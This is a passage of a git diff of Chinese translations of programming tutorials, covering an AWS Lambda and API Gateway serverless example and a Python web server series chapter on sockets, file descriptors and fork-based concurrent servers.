环境中发生的难点问题。 + +### 竞争领域 + +自从 2014 年出现 AWS Lambda 以后,serverless 的提供商已经增加了一些。下面是一些主流的服务提供商: + +- AWS Lambda - 起步最早的 +- OpenWhisk - 在 IBM 的 Bluemix 云上可用 +- Google Cloud Functions +- Azure Functions + +这些平台都有它们的相对优势和劣势(例如,Azure 支持 C#,或者紧密集成在其他提供商的平台上)。这里面最大的玩家是 AWS。 + +### 通过 AWS 的 Lambda 和 API Gateway 构建你的第一个 API + +我们来试一试 serverless。我们将用 AWS Lambda 和 API Gateway 来构建一个能返回 [Jimmy][2] 所说的“Guru Meditations”的 API。 + +所有代码在 [GitHub][1] 上可以找到。 + +API文档: + +``` +POST / +{ + "status": "success", + "meditation": "did u mention banana cognac shower" +} +``` + +### 怎样组织工程文件 + +文件结构树: + +``` +. +├── LICENSE +├── README.md +├── server +│ ├── __init__.py +│ ├── meditate.py +│ └── swagger.json +├── setup.py +├── tests +│ └── test_server +│ └── test_meditate.py +└── tools + ├── deploy.py + ├── serve.py + ├── serve.sh + ├── setup.sh + └── zip.sh +``` + +AWS 中的信息(想了解这里究竟在做什么的详细信息,可查看源码 `tools/deploy.py`)。 + +- **API。**实际构建的对象。它在 AWS 中表示为一个单独的对象。 +- **执行角色。**在 AWS 中,每个 Function 作为一个单独的角色执行。在这里就是 meditations。 +- **角色策略。**每个 Function 作为一个角色执行,每个角色需要权限来干活。我们的 Lambda Function 不干太多活,故我们只添加一些日志记录权限。 +- **Lambda Function。**运行我们的代码的地方。 +- **Swagger。** Swagger 是 API 的规范。API Gateway 支持解析 swagger 的定义来为 API 配置大部分资源。 +- **部署。**API Gateway 提供部署的概念。我们只需要为我们的 API 用一个就行(例如,所有的都用生产或者 yolo等),但是得知道它们是存在的,并且对于真正的产品级服务,你可能想用开发和暂存环境。 +- **监控。**在我们的业务崩溃的情况下(或者因为使用产生大量账单时),我们想以云告警查看方式为这些错误和费用添加一些监控。注意你应该修改 `tools/deploy.py` 来正确地设置你的 email。 + +### 代码 + +Lambda Function 将从一个硬编码列表中随机选择一个并返回 guru meditations,非常简单: + +``` +import logging +import random + + +logger = logging.getLogger() +logger.setLevel(logging.INFO) + + +def handler(event, context): + + logger.info(u"received request with id '{}'".format(context.aws_request_id)) + + meditations = [ + "off to a regex/", + "the count of machines abides", + "you wouldn't fax a bat", + "HAZARDOUS CHEMICALS + RKELLY", + "your solution requires a blood eagle", + "testing is broken because I'm lazy", + "did u mention banana cognac shower", + ] + + meditation = random.choice(meditations) + + return { + "status": "success", + "meditation": meditation, + } +``` + +### deploy.py 脚本 + +这个脚本相当长,我没法贴在这里。它基本只是遍历上述“AWS 中的信息”下的项目,确保每项都存在。 + +### 我们来部署这个脚本 + +只需运行 `./tools/deploy.py`。 + +基本完成了。不过似乎在权限申请上有些问题,由于 API Gateway 没有权限去执行你的 Function,所以你的 Lambda Function 将不能执行,报错应该是“Execution failed due to configuration error: Invalid permissions on Lambda function”。我不知道怎么用 botocore 添加权限。你可以通过 AWS console 来解决这个问题,找到你的 API, 进到 `/POST` 端点,进到“integration request”,点击“Lambda Function”旁边的编辑图标,修改它,然后保存。此时将弹出一个窗口提示“You are about to give API Gateway permission to invoke your Lambda function”, 点击“OK”。 + +当你完成后,记录下 `./tools/deploy.py` 打印出的 URL,像下面这样调用它,然后查看你的新 API 的行为: + +``` +$ curl -X POST https://a1b2c3d4.execute-api.us-east-1.amazonaws.com/prod/ +{"status": "success", "meditation": "the count of machines abides"} +``` + +### 本地运行 + +不幸的是,AWS Lambda 没有好的方法能在本地运行你的代码。在这个例子里,我们将用一个简单的 flask 服务器来在本地托管合适的端点,并调用 handler 函数。 + +``` +from __future__ import absolute_import + +from flask import Flask, jsonify + +from server.meditate import handler + + +app = Flask(__name__) + +@app.route("/", methods=["POST"]) +def index(): + + class FakeContext(object): + aws_request_id = "XXX" + + return jsonify(**handler(None, FakeContext())) + +app.run(host="0.0.0.0") +``` + +你可以在仓库中用 `./tools/serve.sh` 运行它,像这样调用: + +``` +$ curl -X POST http://localhost:5000/ +{ + "meditation": "your solution requires a blood eagle", + "status": "success" +} +``` + +### 测试 + +你总是应该测试你的代码。我们的测试方法是导入并运行我们的 handler 函数。这是最基本的 python 测试方法: + +``` +from __future__ import absolute_import + +import unittest + +from server.meditate import handler + + +class SubmitTestCase(unittest.TestCase): + + def test_submit(self): + + class FakeContext(object): + + aws_request_id = "XXX" + + response = handler(None, FakeContext()) + + self.assertEquals(response["status"], "success") + self.assertTrue("meditation" in response) +``` + +你可以在仓库里通过 nose2 运行这个测试代码。 + +### 更多前景 + +- **和 AWS 服务的无缝集成。**通过 boto,你可以完美地轻易连接到任何其他的 AWS 服务。你可以轻易地让你的执行角色用 IAM 访问这些服务。你可以从 S3 取文件或放文件到 S3,连接到 Dynamo DB,调用其他 Lambda Function,等等。 +- **访问数据库。**你也可以轻易地访问远程数据库。在你的 Lambda handler 模块的最上面连接数据库,并在handler 函数中执行查询。你很可能必须从它的安装位置上传相关的包内容才能使它正常工作。可能你也需要静态编译某些库。 +- **调用其他 webservices。**API Gateway 也是一种把 webservices 的输出从一个格式转换成另一个格式的方法。你可以充分利用这个特点通过不同的 webservices 来代理调用,或者当业务变更时提供后向兼容能力。 + +-------------------------------------------------------------------------------- + +via: http://blog.ryankelly.us/2016/08/07/going-serverless-with-aws-lambda-and-api-gateway.html + +作者:[Ryan Kelly][a] +译者:[messon007](https://github.com/messon007) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/f0rk/blog.ryankelly.us/ +[1]: https://github.com/f0rk/meditations +[2]: http://blog.ryankelly.us/2016/07/11/jimmy.html diff --git "a/published/201610/20160809 Part 3 - Let\342\200\231s Build A Web Server.md" "b/published/201610/20160809 Part 3 - Let\342\200\231s Build A Web Server.md" new file mode 100644 index 0000000000..cec997dc3a --- /dev/null +++ "b/published/201610/20160809 Part 3 - Let\342\200\231s Build A Web Server.md" @@ -0,0 +1,1033 @@ +搭个 Web 服务器(三) +===================================== + +>“当我们必须创造时,才能够学到更多。” ——皮亚杰 + +在本系列的[第二部分](https://linux.cn/article-7685-1.html)中,你创造了一个可以处理基本 HTTP GET 请求的、朴素的 WSGI 服务器。当时我问了一个问题:“你该如何让你的服务器在同一时间处理多个请求呢?”在这篇文章中,你会找到答案。系好安全带,我们要认真起来,全速前进了!你将会体验到一段非常快速的旅程。准备好你的 Linux、Mac OS X(或者其他 *nix 系统),还有你的 Python。本文中所有源代码均可在 [GitHub][1] 上找到。 + +### 服务器的基本结构及如何处理请求 + +首先,我们来回顾一下 Web 服务器的基本结构,以及服务器处理来自客户端的请求时,所需的必要步骤。你在[第一部分](https://linux.cn/article-7662-1.html)及[第二部分](https://linux.cn/article-7685-1.html)中创建的轮询服务器只能够一次处理一个请求。在处理完当前请求之前,它不能够接受新的客户端连接。所有请求为了等待服务都需要排队,在服务繁忙时,这个队伍可能会排的很长,一些客户端可能会感到不开心。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it1.png) + +这是轮询服务器 [webserver3a.py][2] 的代码: + +``` +##################################################################### +# 轮询服务器 - webserver3a.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +##################################################################### +import socket + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 5 + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + while True: + client_connection, client_address = listen_socket.accept() + handle_request(client_connection) + client_connection.close() + +if __name__ == '__main__': + serve_forever() +``` + +为了观察到你的服务器在同一时间只能处理一个请求的行为,我们对服务器的代码做一点点修改:在将响应发送至客户端之后,将程序阻塞 60 秒。这个修改只需要一行代码,来告诉服务器进程暂停 60 秒钟。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it2.png) + +这是我们更改后的代码,包含暂停语句的服务器 [webserver3b.py][3]: + +``` +######################################################################### +# 轮询服务器 - webserver3b.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +# # +# - 服务器向客户端发送响应之后,会阻塞 60 秒 # +######################################################################### +import socket +import time + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 5 + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + time.sleep(60) ### 睡眠语句,阻塞该进程 60 秒 + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + while True: + client_connection, client_address = listen_socket.accept() + handle_request(client_connection) + client_connection.close() + +if __name__ == '__main__': + serve_forever() +``` + +用以下命令启动服务器: + +``` +$ python webserver3b.py +``` + +现在,打开一个新的命令行窗口,然后运行 `curl` 语句。你应该可以立刻看到屏幕上显示的字符串“Hello, World!”: + +``` +$ curl http://localhost:8888/hello +Hello, World! +``` + +然后,立刻打开第二个命令行窗口,运行相同的 `curl` 命令: + +``` +$ curl http://localhost:8888/hello +``` + +如果你在 60 秒之内完成了以上步骤,你会看到第二条 `curl` 指令不会立刻产生任何输出,而只是挂在了哪里。同样,服务器也不会在标准输出流中输出新的请求内容。这是这个过程在我的 Mac 电脑上的运行结果(在右下角用黄色框标注出来的窗口中,我们能看到第二个 `curl` 指令被挂起,正在等待连接被服务器接受): + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it3.png) + +当你等待足够长的时间(60 秒以上)后,你会看到第一个 `curl` 程序完成,而第二个 `curl` 在屏幕上输出了“Hello, World!”,然后休眠 60 秒,进而终止。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it4.png) + +这样运行的原因是因为在服务器在处理完第一个来自 `curl` 的请求之后,只有等待 60 秒才能开始处理第二个请求。这个处理请求的过程按顺序进行(也可以说,迭代进行),一步一步进行,在我们刚刚给出的例子中,在同一时间内只能处理一个请求。 + +现在,我们来简单讨论一下客户端与服务器的交流过程。为了让两个程序在网络中互相交流,它们必须使用套接字。你应当在本系列的前两部分中见过它几次了。但是,套接字是什么? + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_socket.png) + +套接字(socket)是一个通讯通道端点(endpoint)的抽象描述,它可以让你的程序通过文件描述符来与其它程序进行交流。在这篇文章中,我只会单独讨论 Linux 或 Mac OS X 中的 TCP/IP 套接字。这里有一个重点概念需要你去理解:TCP 套接字对(socket pair)。 + +> TCP 连接使用的套接字对是一个由 4 个元素组成的元组,它确定了 TCP 连接的两端:本地 IP 地址、本地端口、远端 IP 地址及远端端口。一个套接字对唯一地确定了网络中的每一个 TCP 连接。在连接一端的两个值:一个 IP 地址和一个端口,通常被称作一个套接字。(引自[《UNIX 网络编程 卷1:套接字联网 API (第3版)》][4]) + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_socketpair.png) + +所以,元组 `{10.10.10.2:49152, 12.12.12.3:8888}` 就是一个能够在客户端确定 TCP 连接两端的套接字对,而元组 `{12.12.12.3:8888, 10.10.10.2:49152}` 则是在服务端确定 TCP 连接两端的套接字对。在这个例子中,确定 TCP 服务端的两个值(IP 地址 `12.12.12.3` 及端口 `8888`),代表一个套接字;另外两个值则代表客户端的套接字。 + +一个服务器创建一个套接字并开始建立连接的基本工作流程如下: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_server_socket_sequence.png) + +1. 服务器创建一个 TCP/IP 套接字。我们可以用这条 Python 语句来创建: + + ``` + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + ``` +2. 服务器可能会设定一些套接字选项(这个步骤是可选的,但是你可以看到上面的服务器代码做了设定,这样才能够在重启服务器时多次复用同一地址): + + ``` + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + ``` +3. 然后,服务器绑定一个地址。绑定函数 `bind` 可以将一个本地协议地址赋给套接字。若使用 TCP 协议,调用绑定函数 `bind` 时,需要指定一个端口号,一个 IP 地址,或两者兼有,或两者全无。(引自[《UNIX网络编程 卷1:套接字联网 API (第3版)》][4]) + + ``` + listen_socket.bind(SERVER_ADDRESS) + ``` +4. 然后,服务器开启套接字的监听模式。 + + ``` + listen_socket.listen(REQUEST_QUEUE_SIZE) + ``` + +监听函数 `listen` 只应在服务端调用。它会通知操作系统内核,表明它会接受所有向该套接字发送的入站连接请求。 + +以上四步完成后,服务器将循环接收来自客户端的连接,一次循环处理一条。当有连接可用时,接受请求函数 `accept` 将会返回一个已连接的客户端套接字。然后,服务器从这个已连接的客户端套接字中读取请求数据,将数据在其标准输出流中输出出来,并向客户端回送一条消息。然后,服务器会关闭这个客户端连接,并准备接收一个新的客户端连接。 + +这是客户端使用 TCP/IP 协议与服务器通信的必要步骤: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_client_socket_sequence.png) + +下面是一段示例代码,使用这段代码,客户端可以连接你的服务器,发送一个请求,并输出响应内容: + +``` +import socket + +### 创建一个套接字,并连接值服务器 +sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +sock.connect(('localhost', 8888)) + +### 发送一段数据,并接收响应数据 +sock.sendall(b'test') +data = sock.recv(1024) +print(data.decode()) +``` + +在创建套接字后,客户端需要连接至服务器。我们可以调用连接函数 `connect` 来完成这个操作: + +``` +sock.connect(('localhost', 8888)) +``` + +客户端只需提供待连接的远程服务器的 IP 地址(或主机名),及端口号,即可连接至远端服务器。 + +你可能已经注意到了,客户端不需要调用 `bind` 及 `accept` 函数,就可以与服务器建立连接。客户端不需要调用 `bind` 函数是因为客户端不需要关注本地 IP 地址及端口号。操作系统内核中的 TCP/IP 协议栈会在客户端调用 `connect` 函数时,自动为套接字分配本地 IP 地址及本地端口号。这个本地端口被称为临时端口(ephemeral port),即一个短暂开放的端口。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_ephemeral_port.png) + +服务器中有一些端口被用于承载一些众所周知的服务,它们被称作通用(well-known)端口:如 80 端口用于 HTTP 服务,22 端口用于 SSH 服务。打开你的 Python shell,与你在本地运行的服务器建立一个连接,来看看内核给你的客户端套接字分配了哪个临时端口(在尝试这个例子之前,你需要运行服务器程序 `webserver3a.py` 或 `webserver3b.py`): + +``` +>>> import socket +>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +>>> sock.connect(('localhost', 8888)) +>>> host, port = sock.getsockname()[:2] +>>> host, port +('127.0.0.1', 60589) +``` + +在上面的例子中,内核将临时端口 60589 分配给了你的套接字。 + +在我开始回答我在第二部分中提出的问题之前,我还需要快速讲解一些概念。你很快就会明白这些概念为什么非常重要。这两个概念,一个是进程,另外一个是文件描述符。 + +什么是进程?进程就是一个程序执行的实体。举个例子:当你的服务器代码被执行时,它会被载入内存,而内存中表现此次程序运行的实体就叫做进程。内核记录了进程的一系列有关信息——比如进程 ID——来追踪它的运行情况。当你在执行轮询服务器 `webserver3a.py` 或 `webserver3b.py` 时,你其实只是启动了一个进程。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_server_process.png) + +我们在终端窗口中运行 `webserver3b.py`: + +``` +$ python webserver3b.py +``` + +在另一个终端窗口中,我们可以使用 `ps` 命令获取该进程的相关信息: + +``` +$ ps | grep webserver3b | grep -v grep +7182 ttys003 0:00.04 python webserver3b.py +``` + +`ps` 命令显示,我们刚刚只运行了一个 Python 进程 `webserver3b.py`。当一个进程被创建时,内核会为其分配一个进程 ID,也就是 PID。在 UNIX 中,所有用户进程都有一个父进程;当然,这个父进程也有进程 ID,叫做父进程 ID,缩写为 PPID。假设你默认使用 BASH shell,那当你启动服务器时,就会启动一个新的进程,同时被赋予一个 PID,而它的父进程 PID 会被设为 BASH shell 的 PID。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_ppid_pid.png) + +自己尝试一下,看看这一切都是如何工作的。重新开启你的 Python shell,它会创建一个新进程,然后在其中使用系统调用 `os.getpid()` 及 `os.getppid()` 来获取 Python shell 进程的 PID 及其父进程 PID(也就是你的 BASH shell 的 PID)。然后,在另一个终端窗口中运行 `ps` 命令,然后用 `grep` 来查找 PPID(父进程 ID,在我的例子中是 3148)。在下面的屏幕截图中,你可以看到一个我的 Mac OS X 系统中关于进程父子关系的例子,在这个例子中,子进程是我的 Python shell 进程,而父进程是 BASH shell 进程: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_pid_ppid_screenshot.png) + +另外一个需要了解的概念,就是文件描述符。什么是文件描述符?文件描述符是一个非负整数,当进程打开一个现有文件、创建新文件或创建一个新的套接字时,内核会将这个数返回给进程。你以前可能听说过,在 UNIX 中,一切皆是文件。内核会按文件描述符来找到一个进程所打开的文件。当你需要读取文件或向文件写入时,我们同样通过文件描述符来定位这个文件。Python 提供了高层次的操作文件(或套接字)的对象,所以你不需要直接通过文件描述符来定位文件。但是,在高层对象之下,我们就是用它来在 UNIX 中定位文件及套接字,通过这个整数的文件描述符。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_process_descriptors.png) + +一般情况下,UNIX shell 会将一个进程的标准输入流(STDIN)的文件描述符设为 0,标准输出流(STDOUT)设为 1,而标准错误打印(STDERR)的文件描述符会被设为 2。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it_default_descriptors.png) + +我之前提到过,即使 Python 提供了高层次的文件对象或类文件对象来供你操作,你仍然可以在对象上使用 `fileno()` 方法,来获取与该文件相关联的文件描述符。回到 Python shell 中,我们来看看你该怎么做到这一点: + + +``` +>>> import sys +>>> sys.stdin +', mode 'r' at 0x102beb0c0> +>>> sys.stdin.fileno() +0 +>>> sys.stdout.fileno() +1 +>>> sys.stderr.fileno() +2 +``` + +当你在 Python 中操作文件及套接字时,你可能会使用高层次的文件/套接字对象,但是你仍然有可能会直接使用文件描述符。下面有一个例子,来演示如何用文件描述符做参数来进行一次写入的系统调用: + +``` +>>> import sys +>>> import os +>>> res = os.write(sys.stdout.fileno(), 'hello\n') +hello +``` + +下面是比较有趣的部分——不过你可能不会为此感到惊讶,因为你已经知道在 Unix 中,一切皆为文件——你的套接字对象同样有一个相关联的文件描述符。和刚才操纵文件时一样,当你在 Python 中创建一个套接字时,你会得到一个对象而不是一个非负整数,但你永远可以用我之前提到过的 `fileno()` 方法获取套接字对象的文件描述符,并可以通过这个文件描述符来直接操纵套接字。 + +``` +>>> import socket +>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +>>> sock.fileno() +3 +``` + +我还想再提一件事:不知道你有没有注意到,在我们的第二个轮询服务器 `webserver3b.py` 中,当你的服务器休眠 60 秒的过程中,你仍然可以通过第二个 `curl` 命令连接至服务器。当然 `curl` 命令并没有立刻输出任何内容而是挂在哪里,但是既然服务器没有接受连接,那它为什么不立即拒绝掉连接,而让它还能够继续与服务器建立连接呢?这个问题的答案是:当我在调用套接字对象的 `listen` 方法时,我为该方法提供了一个 `BACKLOG` 参数,在代码中用 `REQUEST_QUEUE_SIZE` 常量来表示。`BACKLOG` 参数决定了在内核中为存放即将到来的连接请求所创建的队列的大小。当服务器 `webserver3b.py` 在睡眠的时候,你运行的第二个 `curl` 命令依然能够连接至服务器,因为内核中用来存放即将接收的连接请求的队列依然拥有足够大的可用空间。 + +尽管增大 `BACKLOG` 参数并不能神奇地使你的服务器同时处理多个请求,但当你的服务器很繁忙时,将它设置为一个较大的值还是相当重要的。这样,在你的服务器调用 `accept` 方法时,不需要再等待一个新的连接建立,而可以立刻直接抓取队列中的第一个客户端连接,并不加停顿地立刻处理它。 + +欧耶!现在你已经了解了一大块内容。我们来快速回顾一下我们刚刚讲解的知识(当然,如果这些对你来说都是基础知识的话,那我们就当复习好啦)。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_checkpoint.png) + +- 轮询服务器 +- 服务端套接字创建流程(创建套接字,绑定,监听及接受) +- 客户端连接创建流程(创建套接字,连接) +- 套接字对 +- 套接字 +- 临时端口及通用端口 +- 进程 +- 进程 ID(PID),父进程 ID(PPID),以及进程父子关系 +- 文件描述符 +- 套接字的 `listen` 方法中,`BACKLOG` 参数的含义 + +### 如何并发处理多个请求 + +现在,我可以开始回答第二部分中的那个问题了:“你该如何让你的服务器在同一时间处理多个请求呢?”或者换一种说法:“如何编写一个并发服务器?” + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc2_service_clients.png) + +在 UNIX 系统中编写一个并发服务器最简单的方法,就是使用系统调用 `fork()`。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_fork.png) + +下面是全新出炉的并发服务器 `webserver3c.py` 的代码,它可以同时处理多个请求(和我们之前的例子 `webserver3b.py` 一样,每个子进程都会休眠 60 秒): + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_it2.png) + +``` +####################################################### +# 并发服务器 - webserver3c.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +# # +# - 完成客户端请求处理之后,子进程会休眠 60 秒 # +# - 父子进程会关闭重复的描述符 # +# # +####################################################### +import os +import socket +import time + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 5 + + +def handle_request(client_connection): + request = client_connection.recv(1024) + print( + 'Child PID: {pid}. Parent PID {ppid}'.format( + pid=os.getpid(), + ppid=os.getppid(), + ) + ) + print(request.decode()) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + time.sleep(60) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + print('Parent PID (PPID): {pid}\n'.format(pid=os.getpid())) + + while True: + client_connection, client_address = listen_socket.accept() + pid = os.fork() + if pid == 0: ### 子进程 + listen_socket.close() ### 关闭子进程中复制的套接字对象 + handle_request(client_connection) + client_connection.close() + os._exit(0) ### 子进程在这里退出 + else: ### 父进程 + client_connection.close() ### 关闭父进程中的客户端连接对象,并循环执行 + +if __name__ == '__main__': + serve_forever() +``` + +在深入研究代码、讨论 `fork` 如何工作之前,先尝试运行它,自己看一看这个服务器是否真的可以同时处理多个客户端请求,而不是像轮询服务器 `webserver3a.py` 和 `webserver3b.py` 一样。在命令行中使用如下命令启动服务器: + +``` +$ python webserver3c.py +``` + +然后,像我们之前测试轮询服务器那样,运行两个 `curl` 命令,来看看这次的效果。现在你可以看到,即使子进程在处理客户端请求后会休眠 60 秒,但它并不会影响其它客户端连接,因为他们都是由完全独立的进程来处理的。你应该看到你的 `curl` 命令立即输出了“Hello, World!”然后挂起 60 秒。你可以按照你的想法运行尽可能多的 `curl` 命令(好吧,并不能运行特别特别多 `^_^`),所有的命令都会立刻输出来自服务器的响应 “Hello, World!”,并不会出现任何可被察觉到的延迟行为。试试看吧。 + +如果你要理解 `fork()`,那最重要的一点是:**你调用了它一次,但是它会返回两次** —— 一次在父进程中,另一次是在子进程中。当你创建了一个新进程,那么 `fork()` 在子进程中的返回值是 0。如果是在父进程中,那 `fork()` 函数会返回子进程的 PID。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc2_how_fork_works.png) + +我依然记得在第一次看到它并尝试使用 `fork()` 的时候,我是多么的入迷。它在我眼里就像是魔法一样。这就好像我在读一段顺序执行的代码,然后“砰!”地一声,代码变成了两份,然后出现了两个实体,同时并行地运行相同的代码。讲真,那个时候我觉得它真的跟魔法一样神奇。 + +当父进程创建出一个新的子进程时,子进程会复制从父进程中复制一份文件描述符: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc2_shared_descriptors.png) + +你可能注意到,在上面的代码中,父进程关闭了客户端连接: + +``` +else: ### parent + client_connection.close() # close parent copy and loop over +``` + +不过,既然父进程关闭了这个套接字,那为什么子进程仍然能够从来自客户端的套接字中读取数据呢?答案就在上面的图片中。内核会使用描述符引用计数器来决定是否要关闭一个套接字。当你的服务器创建一个子进程时,子进程会复制父进程的所有文件描述符,内核中该描述符的引用计数也会增加。如果只有一个父进程及一个子进程,那客户端套接字的文件描述符引用数应为 2;当父进程关闭客户端连接的套接字时,内核只会减少它的引用计数,将其变为 1,但这仍然不会使内核关闭该套接字。子进程也关闭了父进程中 `listen_socket` 的复制实体,因为子进程不需要关注新的客户端连接,而只需要处理已建立的客户端连接中的请求。 + +``` +listen_socket.close() ### 关闭子进程中的复制实体 +``` + +我们将会在后文中讨论,如果你不关闭那些重复的描述符,会发生什么。 + +你可以从你的并发服务器源码中看到,父进程的主要职责为:接受一个新的客户端连接,复制出一个子进程来处理这个连接,然后继续循环来接受另外的客户端连接,仅此而已。服务器父进程并不会处理客户端连接——子进程才会做这件事。 + +打个岔:当我们说两个事件并发执行时,我们所要表达的意思是什么? + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc2_concurrent_events.png) + +当我们说“两个事件并发执行”时,它通常意味着这两个事件同时发生。简单来讲,这个定义没问题,但你应该记住它的严格定义: + +> 如果你不能在代码中判断两个事件的发生顺序,那这两个事件就是并发执行的。(引自[《信号系统简明手册 (第二版): 并发控制深入浅出及常见错误》][5]) + +好的,现在你又该回顾一下你刚刚学过的知识点了。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_checkpoint.png) + +- 在 Unix 中,编写一个并发服务器的最简单的方式——使用 `fork()` 系统调用; +- 当一个进程分叉(`fork`)出另一个进程时,它会变成刚刚分叉出的进程的父进程; +- 在进行 `fork` 调用后,父进程和子进程共享相同的文件描述符; +- 系统内核通过描述符的引用计数来决定是否要关闭该描述符对应的文件或套接字; +- 服务器父进程的主要职责:现在它做的只是从客户端接受一个新的连接,分叉出子进程来处理这个客户端连接,然后开始下一轮循环,去接收新的客户端连接。 + +### 进程分叉后不关闭重复的套接字会发生什么? + +我们来看看,如果我们不在父进程与子进程中关闭重复的套接字描述符会发生什么。下面是刚才的并发服务器代码的修改版本,这段代码(`webserver3d.py` 中,服务器不会关闭重复的描述符): + +``` +####################################################### +# 并发服务器 - webserver3d.py # +# # +# 使用 Python 2.7.9 或 3.4 # +# 在 Ubuntu 14.04 及 Mac OS X 环境下测试通过 # +####################################################### +import os +import socket + +SERVER_ADDRESS = (HOST, PORT) = '', 8888 +REQUEST_QUEUE_SIZE = 5 + + +def handle_request(client_connection): + request = client_connection.recv(1024) + http_response = b"""\ +HTTP/1.1 200 OK + +Hello, World! +""" + client_connection.sendall(http_response) + + +def serve_forever(): + listen_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + listen_socket.bind(SERVER_ADDRESS) + listen_socket.listen(REQUEST_QUEUE_SIZE) + print('Serving HTTP on port {port} ...'.format(port=PORT)) + + clients = [] + while True: + client_connection, client_address = listen_socket.accept() + ### 将引用存储起来,否则在下一轮循环时,他们会被垃圾回收机制销毁 + clients.append(client_connection) + pid = os.fork() + if pid == 0: ### 子进程 + listen_socket.close() ### 关闭子进程中多余的套接字 + handle_request(client_connection) + client_connection.close() + os._exit(0) ### 子进程在这里结束 + else: ### 父进程 + # client_connection.close() + print(len(clients)) + +if __name__ == '__main__': + serve_forever() +``` + +用以下命令来启动服务器: + +``` +$ python webserver3d.py +``` + +用 `curl` 命令连接服务器: + +``` +$ curl http://localhost:8888/hello +Hello, World! +``` + +好,`curl` 命令输出了来自并发服务器的响应内容,但程序并没有退出,而是仍然挂起。到底发生了什么?这个服务器并不会挂起 60 秒:子进程只处理客户端连接,关闭连接然后退出,但客户端的 `curl` 命令并没有终止。 + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_child_is_active.png) + +所以,为什么 `curl` 不终止呢?原因就在于文件描述符的副本。当子进程关闭客户端连接时,系统内核会减少客户端套接字的引用计数,将其变为 1。服务器子进程退出了,但客户端套接字并没有被内核关闭,因为该套接字的描述符引用计数并没有变为 0,所以,这就导致了连接终止包(在 TCP/IP 协议中称作 `FIN`)不会被发送到客户端,所以客户端会一直保持连接。这里也会出现另一个问题:如果你的服务器长时间运行,并且不关闭文件描述符的副本,那么可用的文件描述符会被消耗殆尽: + +![](https://ruslanspivak.com/lsbaws-part3/lsbaws_part3_conc3_out_of_descriptors.png) + +使用 `Control-C` 关闭服务器 `webserver3d.py`,然后在 shell 中使用内置命令 `ulimit` 来查看系统默认为你的服务器进程分配的可用资源数: + +``` +$ ulimit -a +core file size (blocks, -c) 0 +data seg size (kbytes, -d) unlimited +scheduling priority (-e) 0 +file size (blocks, -f) unlimited +pending signals (-i) 3842 +max locked memory (kbytes, -l) 64 +max memory size (kbytes, -m) unlimited +open files (-n) 1024 +pipe size (512 bytes, -p) 